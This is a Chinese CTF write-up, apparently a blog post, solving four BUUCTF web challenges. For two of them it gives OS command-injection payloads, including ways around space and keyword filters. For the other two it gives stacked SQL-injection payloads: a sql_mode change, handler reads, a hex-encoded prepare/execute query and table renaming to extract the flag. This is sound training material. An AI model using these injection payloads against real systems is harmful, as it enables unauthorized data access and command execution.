buuctf web 第五到八题

[ACTF2020 新生赛]Exec

这里属实有点没想到了,以为要弹shell,结果不用

127.0.0.1;ls /

PING 127.0.0.1 (127.0.0.1): 56 data bytes
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
127.0.0.1;tac /f*

[GXYCTF2019]Ping Ping Ping

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>
?ip=;cat$IFS$1`ls`
这里看源码就已经出了

慢慢手测出来的

?ip=;t=g;cat$IFS$1fla$t.php

[SUCTF 2019]EasySQL

堆叠注入

1;show tables;

在这里插入图片描述
知道表名如何查询呢

select $post['query']||flag from Flag

是不是有了这个就很明了了

1;select *,1
select 1;select *,1||flag from Flag

select 1;select *,1 from Flag    查询出flag

mysql配置

SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。

1;set sql_mode=PIPES_AS_CONCAT;select 1

此时

select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

select 1;set sql_mode=PIPES_AS_CONCAT;select concat(1,flag) from Flag

在这里插入图片描述

[强网杯 2019]随便注

堆叠注入

1';show databases;
1';show tables;

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
1';show columns from `1919810931114514`;

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

新姿势handler

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

相当于是打开文件,然后取别名

新姿势 16进制

select * from `1919810931114514`
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare love from @a;execute love;#
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。

上面这两个相当于组合拳
先用个别名把sql查询语句替换了,用来绕过,然后进行执行

SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

新姿势 rename and alter

这个东西不算新,但是我从来没有用来注入过

1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
字符集(Character Set):utf8
UTF-8(Unicode Transformation Format - 8-bit) 是一种针对Unicode的可变长度字符编码,能够表示世界上大多数书面语言的字符,包括拉丁字母、中文、日文、韩文等。每个字符可以由1到4个字节组成,根据字符的实际Unicode码点决定。
在数据库中使用UTF-8字符集 意味着你可以存储几乎任何语言的文字,这对于国际化应用特别重要,因为它确保了多语言数据的兼容性和一致性。

排序规则(Collation):utf8_general_ci
排序规则 定义了如何对字符进行比较和排序,包括大小写敏感性、重音符号的处理、以及特殊字符的排序顺序等。
utf8_general_ci 是UTF-8字符集下的一种常见排序规则,其中:
general 表示这是一个通用的排序规则,适用于大多数情况。
ci 是“Case Insensitive”的缩写,意味着在比较和排序时忽略大小写。例如,在这种排序规则下,“a”和“A”会被视为相同。

我看了一下payload其实不用写那么那么长,我们等会查询就是靠万能密码把所有东西给带出,那么本来words表里面有id,那么我们重命名flag为id将其带出即可

1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

1' or 1=1;#

相关推荐

  1. c++ primer中文版版作业

    2024-07-22 05:44:02       31 阅读
  2. 每日写天)

    2024-07-22 05:44:02       25 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-22 05:44:02       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-22 05:44:02       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-22 05:44:02       45 阅读
  4. Python语言-面向对象

    2024-07-22 05:44:02       55 阅读

热门阅读

  1. android audio 相机按键音:(一)资源加载与替换

    2024-07-22 05:44:02       16 阅读
  2. 使用 Jenkins 实现持续集成和持续部署(CI/CD)

    2024-07-22 05:44:02       11 阅读
  3. TiDB热点问题

    2024-07-22 05:44:02       17 阅读
  4. setup中如何获取组件实例

    2024-07-22 05:44:02       17 阅读